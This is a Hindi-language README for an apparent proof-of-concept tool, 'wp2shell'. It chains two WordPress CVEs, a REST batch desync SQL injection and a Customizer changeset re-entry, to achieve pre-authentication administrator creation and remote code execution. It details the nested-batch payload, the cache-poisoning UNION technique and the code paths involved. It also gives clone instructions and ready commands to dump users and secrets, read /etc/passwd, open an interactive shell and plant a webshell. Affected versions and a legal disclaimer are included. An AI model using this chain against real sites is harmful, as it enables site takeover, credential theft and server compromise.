
CVE-2026-63030 + CVE-2026-60137 के लिए PoC, जिसे WP2Shell के नाम से भी जाना जाता है
WordPress 6.9.0–6.9.4 और 7.0.0–7.0.1 के लिए प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन।
CVE-2026-63030 (बैच रूट कन्फ्यूज़न SQLi) को CVE-2026-60137 (कस्टमाइज़र चेंजसेट री-एंट्री) के साथ जोड़कर बिना प्रमाणीकरण के एडमिनिस्ट्रेटर निर्माण और OS कमांड निष्पादन प्राप्त करता है। कोई पासवर्ड क्रैकिंग आवश्यक नहीं।

श्रेय hashkitten को इस खोज के लिए, पूर्ण SLCyber तकनीकी विश्लेषण यहाँ पढ़ें।
WordPress के REST API बैच प्रोसेसर (serve_batch_request_v1) में एक ऑफ-बाय-वन इंडेक्सिंग बग है: जब wp_parse_url() किसी उप-अनुरोध पथ पर विफल होता है, तो परिणामी WP_Error को $validation[] में धकेल दिया जाता है लेकिन $matches[] में नहीं। यह दोनों एरे को डीसिंक्रोनाइज़ करता है — प्रत्येक बाद का अनुरोध गलत हैंडलर के तहत भेजा जाता है।
एक बैच के अंदर दूसरे सावधानीपूर्वक संरचित बैच को नेस्ट करके, एक हमलावर निम्नलिखित कर सकता है:
author__not_in के माध्यम से अनसैनिटाइज़्ड SQL इंजेक्ट करना (स्ट्रिंग→एरे कास्ट absint() को छोड़ देता है)UNION SELECT का उपयोग करनाएक बार सेटअप पूरा हो जाने पर (टेबल प्रीफ़िक्स और एडमिन आईडी की खोज), एस्केलेशन पेलोड एक एकल HTTP अनुरोध में फायर होता है — कैश पॉइज़निंग, विशेषाधिकार वृद्धि, और उपयोगकर्ता निर्माण सभी सर्वर-साइड एक राउंड-ट्रिप में होते हैं।
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
कैश पॉइज़निंग (UNION के माध्यम से 7 नकली पोस्ट):
[embed] शॉर्टकोड हैcustomize_changeset, स्थिति future, तिथि अतीत में)is_nav_menu_item चेक के लिए post_type=nav_menu_item के रूप में जहरीला)post_type=request, post_status=parse, पैरेंट=इनर)निष्पादन प्रवाह:
[embed] शॉर्टकोड फायर होता हैwp_update_post पर आता हैwp_update_post कैश्ड चेंजसेट (पैरेंट=बाहरी) पढ़ता है → पदानुक्रम जांच लूप 1 का पता लगाती हैfuture स्थिति के साथ चेंजसेट को DB में लिखता है → स्वचालित रूप से publish में बदल जाता है_wp_customize_publish_changeset फायर होता है → wp_set_current_user(admin_id) → एडमिन संदर्भ सक्रियnav_menu_item[real_id] प्रोसेस करता है — कैश कहता है type=nav_menu_item → UPDATE पथobject_id एक कैश्ड पोस्ट को हल करता है जिसका post_parent=re-entry है → वास्तविक पोस्ट पर wp_update_post$post_id) लूप 2 (री-एंट्री ↔ इनर) का पता लगाती हैwp_update_post(re-entry) कॉल करता है → DB में type=request, status=parse लिखता हैwp_transition_post_status do_action("parse_request") फायर करता है → rest_api_loaded() → serve_request()POST /wp/v2/users सफल होता है → एडमिनिस्ट्रेटर बनाया गया → die()एक एंटी-रिकर्सन MySQL सत्र चर (@_wp2s) यह सुनिश्चित करता है कि श्रृंखला ठीक एक बार फायर हो और लूप न करे।
--cleanup बाहर निकलने पर बनाए गए उपयोगकर्ता को हटाता है और वेबशेल को हटा देता हैgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
कोई pip install, कोई virtualenv नहीं। यह एक फ़ाइल है।
# निष्क्रिय बूलियन ओरेकल परीक्षण
python3 wp2shell.py check http://target.com
# टाइमिंग और UNION के साथ भी पुष्टि करें
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# स्वचालित रूप से सबसे तेज़ तकनीक चुनता है (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# किसी विशिष्ट तकनीक को बलपूर्वक चुनें
python3 wp2shell.py read http://target.com --technique blind --preset users
# टेबल प्रीफ़िक्स स्वचालित रूप से खोजें
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# शोषण करें और इंटरैक्टिव शेल में जाएँ
python3 wp2shell.py exploit http://target.com -i
# शोषण करें, एक कमांड चलाएँ, सफाई करें
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# यदि आप प्रीफ़िक्स जानते हैं तो स्वचालित खोज छोड़ें
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# प्रॉक्सी के माध्यम से (Burp, mitmproxy, आदि)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
check और read कमांड किसी भी प्रभावित लक्ष्य पर काम करते हैं। exploit श्रृंखला की तीन अतिरिक्त आवश्यकताएँ हैं:
| आवश्यकता | क्यों | डिफ़ॉल्ट WP? |
|---|---|---|
| कम से कम एक प्रकाशित पोस्ट | oEmbed को एम्बेड प्रोसेसिंग ट्रिगर करने के लिए स्थानीय URL की आवश्यकता है | हाँ (Hello World) |
| कोई स्थायी ऑब्जेक्ट कैश नहीं | UNION पंक्तियों को बचाने के लिए split-the-query अक्षम होना चाहिए | हाँ (फ़ाइल कैश डिफ़ॉल्ट) |
| REST API सुलभ | पुनः प्रवेश के लिए parse_request को REST सर्वर की आवश्यकता है | हाँ |
| सीधे फ़ाइल सिस्टम लिखना | प्लगइन अपलोड के लिए FS_METHOD=direct या PHP के पास wp-content का स्वामित्व होना चाहिए | हाँ (अधिकांश होस्ट) |
यदि लक्ष्य ऑब्जेक्ट कैश के रूप में Redis या Memcached का उपयोग करता है, तो per_page के बावजूद split_the_query को बलपूर्वक चालू किया जाता है, और UNION पंक्तियों को केवल ID-फ़ेच के दौरान त्याग दिया जाता है। read कमांड अभी भी काम करता है (ब्लाइंड निष्कर्षण को UNION को कैश में बचने की आवश्यकता नहीं है), लेकिन exploit विफल हो जाएगा।
| शाखा | असुरक्षित | ठीक किया गया |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
पैच त्रुटि मामलों के लिए $matches[] = $single_request; जोड़ता है (ऑफ-बाय-वन को ठीक करना) और serve_request() में एक पुनः प्रवेश गार्ड जोड़ता है।
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
स्रोत रूट के रूप में /wp/v2/widgets क्यों?
विजेट्स कंट्रोलर अपने एंडपॉइंट स्कीमा में per_page, orderby, या author_exclude पंजीकृत नहीं करता है। ये पैरामीटर सत्यापन को अछूते पास करते हैं (अज्ञात पैरामीटर स्कीमा सत्यापनकर्ता द्वारा अनदेखा किए जाते हैं)। जब डीसिंक इस अनुरोध को पोस्ट्स कंट्रोलर के माध्यम से भेजता है, तो वे कच्चे मान सीधे WP_Query में प्रवाहित होते हैं।
per_page=500 क्यों?
class-wp-query.php:3375 — split_the_query के लिए !empty($limits) && posts_per_page < 500 आवश्यक है। per_page=500 के साथ, शर्त 500 < 500 गलत है, इसलिए split_the_query अक्षम है। पूर्ण क्वेरी (UNION सहित) एकल कथन के रूप में निष्पादित होती है, और सभी इंजेक्ट की गई पंक्तियाँ परिणाम सेट और कैश में बच जाती हैं।
nav_menu_item[real_id] (सकारात्मक ID) क्यों?
सकारात्मक पोस्ट ID का उपयोग nav-menu.php:614 पर UPDATE पथ में प्रवेश करता है, जो गैर-शून्य $post_id के साथ wp_update_post कॉल करता है। यह महत्वपूर्ण है क्योंकि post.php:8070 पर wp_check_post_hierarchy_for_loops तब जल्दी लौटता है जब $post_id = 0 (नए पोस्ट)। कैश उस ID के लिए post_type=nav_menu_item के साथ जहरीला किया जाता है ताकि is_nav_menu_item() nav-menu.php:426 पर प्रकार की जाँच पास करे। UPDATE पथ फिर पदानुक्रम जाँच को ट्रिगर करता है जो लूप 2 का पता लगाती है।
दो पदानुक्रम लूप क्यों?
लूप 1 (चेंजसेट ↔ बाहरी) चेंजसेट प्रकाशन को ट्रिगर करता है और एडमिन संदर्भ सेट करता है। लूप 2 (री-एंट्री ↔ आंतरिक) एडमिन विंडो के दौरान फायर होता है (चेंजसेट प्रकाशन लूप में नेव मेनू आइटम सेटिंग के save() कॉल के अंदर) और parse_request → REST पुनः प्रवेश को ट्रिगर करता है। लूप स्वतंत्र हैं क्योंकि लूप 2 के फिक्स-अप को लाइन 3581 पर रीसेट से पहले — लाइन 3589 पर एडमिन विंडो के दौरान DB में री-एंट्री पोस्ट लिखना होगा।
यह उपकरण अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।
अनुसंधान और विकास CryptoCat द्वारा।